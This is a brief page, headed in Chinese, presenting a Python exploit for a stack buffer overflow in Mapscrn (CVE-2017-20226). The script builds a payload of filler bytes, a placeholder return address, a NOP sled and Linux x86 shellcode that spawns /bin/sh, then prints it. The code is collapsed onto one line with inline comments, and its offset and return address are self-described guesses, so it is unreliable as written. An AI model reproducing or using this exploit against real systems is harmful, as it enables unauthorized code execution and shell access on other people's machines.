CVE-2017-20226 Mapscrn栈缓冲区溢出漏洞

import sys # Exploit for CVE-2017-20226 Mapscrn Stack Buffer Overflow # Payload structure: Junk + RetAddr + NOP Sled + Shellcode # 1. Junk data to fill the buffer up to the return address offset = 1024 # Hypothetical offset, requires debugging junk = b"A" * offset # 2. Return address (Placeholder, needs to be a valid jump address) ret_addr = b"\xaf\x11\x40\x00" # 3. NOP Sled nopsled = b"\x90" * 32 # 4. Shellcode (Example: exec /bin/sh for Linux x86) shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" payload = junk + ret_addr + nopsled + shellcode # Output payload print(payload.decode('latin-1'))